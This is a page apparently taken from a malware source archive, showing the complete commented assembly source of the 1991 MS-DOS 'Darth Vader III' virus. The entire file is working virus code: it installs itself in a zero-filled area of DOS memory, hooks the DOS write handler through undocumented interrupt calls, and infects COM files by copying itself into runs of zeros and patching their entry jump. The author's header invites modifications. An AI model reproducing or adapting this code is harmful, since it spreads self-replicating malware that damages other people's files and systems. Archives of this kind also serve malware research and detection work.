MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.darth3.asm
2021-01-12 17:38:47 -06:00

197 lines
6.1 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

;*******************************************************************************
;* *
;* D A R T H V A D E R ]I[ *
;* *
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia *
;* All Rights Reserved *
;* *
;* This is the third release of Darth Vader virus. He also infect only *
;* those COM file, wich have area of 255 (or more) zeros. As you might *
;* see, virus' size is reduced. This increase possibility file to have *
;* enough zeros to hold virus. In several tests the percentage of *
;* infected file was tested, and it was bigger than in Darth Vader 2. *
;* This release support only DOS 2.X and later, but less than 5.X *
;* You may make any modifications in this source, BUT let me know *
;* what you have done (drop me a message at Virus eXchange BBS) *
;* *
;* Waleri Todorov *
;*******************************************************************************
org 0 ; Begin from offset 0
nop ; Dummy NOPs. Don't remove them
nop
nop
call NextLine ; Call next instruction
NextLine
pop bx ; To calculate it's own location
sub bx,6 ; Location stored in BX
mov [0FEh],ax ; Save AX for further usage
xor ax,ax ; Set DS to point in interrupt table
mov ds,ax ;
les ax,[2Bh*4] ; ES:AX point to vector 2B; ES==DOSSEG
xor di,di ; ES:DI point to DOSSEG:0000
mov cx,1000h ; Will search 1000h bytes
call SearchZero ; Search Zeros in ES:DI
jc ReturnControl ; If CF==Yes -> no place and exit
mov cs:[bx+offset NewStart],di ; Save beginnig
xor si,si ; SI=0;
push es ; Set DS point to DOSSEG
pop ds
SearchTable
lodsw ; Load word from DS:SI
cmp ax,8B2Eh ; Check first 'magic' byte
je Found1 ; If match -> check next byte
NotHere
dec si ; Else go search from next byte
jmp short SearchTable
Found1
lodsb ; Load next byte
cmp al,9Fh ; If match with last 'magic' byte
je FoundTable ; fo to found table
dec si ; else go search from next byte
jmp short NotHere
FoundTable
lodsw ; Load table address to AX
xchg ax,bx ; Exchange AX <-> BX
mov cx,[bx+80h] ; Load in CX old WRITE handler offset
xchg ax,bx ; Exchange AX <-> BX
mov cs:[bx+offset OldWrite],cx ; Save old offset
lea cx,[di+offset Handle] ; Load in CX new offset
xchg ax,bx ; Exchgange AX <-> BX
mov [bx+80h],cx ; Store new WRITE offset to table
xchg ax,bx ; Exchange AX <-> BX
push cs ; Set DS point to virus code
pop ds ;
mov cx,offset LastByte ; CX = Virus Size
mov si,bx ; SI=virus start offset
rep movsb ; ES:DI point to free area in DOS
; go in there
ReturnControl
push cs ; Set DS & ES point in host program
push cs
pop ds
pop es
mov di,100h ; DI point CS:100
lea si,[bx+offset First3] ; SI point old first instr
push di ; Save DI for dummy RETurn
movsw ; Move first 2 byte
movsb ; Move another one
mov ax,[0FEh] ; Restore AX (Remember?)
xor bx,bx ; Clear BX
ret ; Return control to host via dummy RETurn
; Here terminate virus installation in memory. After this moment
; virus is active and will infect any COM file bigger than the virus
; and having enough zeros
SearchZero
xor ax,ax ; Set AX to zero (gonna search zeros)
Again
inc di ; ES:DI++
push cx ; Save CX
push di ; Save DI
mov cx,offset LastByte ; CX = Virus Size
repe scasb ; Search until equal
pop di ; Restore DI
jcxz FoundPlace ; If CX==0 then ES:DI point to zeros
pop cx ; Else restore CX
loop Again ; And loop again until CX!=0
stc ; If CX==0
ret ; Set CF and return to caller (No place)
FoundPlace
pop cx ; Restore CX
clc ; Clear CF (ES:DI point to zero area)
ret ; Return to caller
; The followed procedure is new WRITE handle. It check does write buffer
; have enough zeros to hold virus. If so -> copy virus in zero area, change
; entry point and write file, else write file only
Handle
mov ss:[4],bp ; Save BP (BP used as index register)
push es ; Save important registers
push ax ; DS:DX are saved last, because
push bx ; they are used later in infection
push cx
push si
push di
push ds ;
push dx ;
call NextHandle ; Call NextHandle to calculate
OldWrite ; variable area offset
dw 0 ; Old WRITE handler
NewStart
dw 0 ; Virus offset in DOSSEG
First3
int 20h ; First 3 instruction of COM file
nop
NextHandle
pop bp ; Set SS:BP to point to variable area
cmp cx,offset LastByte+10h ; Check if write buffer
jb Do ; is big enough. If not -> exit
mov ax,1220h ; Get file handle (BX) table number
int 2Fh ; Via interrupt 2F (undocumented)
mov bl,es:[di] ; Load handle table number in BL
mov ax,1216h ; Get file handle table address
int 2Fh ; Via interrupt 2F (undocumented)
cmp es:[di+29h],'MO' ; Check if file is ?OM
jne Do ; If not -> exit
pop di ; Set ES:DI to point write buffer
pop es ;
push es ;
push di ;
mov ax,es:[di] ; Set AX to first 2 bytes from buffer
mov [bp+4],ax ; and save it in First instruction
mov al,es:[di+2] ; Set AL to third byte from buffer
mov [bp+6],al ; and save it in First instruction
call SearchZero ; Search zeros area in buffer
jc Do ; If not found -> exit
mov bx,di ; Set BX to point zero area
push cs ; Set DS point to DOSSEG (Virus)
pop ds
mov si,[bp+2] ; Set SI to virus offset in DOSSEG
mov cx,offset LastByte ; Set CX to virus size
rep movsb ; Move virus to buffer
pop di ; Set DI point to buffer (not zero area)
push di
mov al,0E9h ; Set AL to JMP opcode
sub bx,di ; Set BX to virus offset in file
stosb ; Store JMP to buffer
xchg ax,bx ; AX now have offset of virus in file
sub ax,3 ; Calculate JMP argument
stosw ; and store it in buffer
Do
pop dx ; Restore important registers
pop ds
pop di
pop si
pop cx
pop bx
pop ax
pop es
push [bp] ; Put old WRITE offset in stack for RET
mov bp,ss:[4] ; Restore BP
ret ; Call DOS via dummy RETurn
db 'Darth Vader ' ; Virus sign
LastByte label byte ; Last byte of virus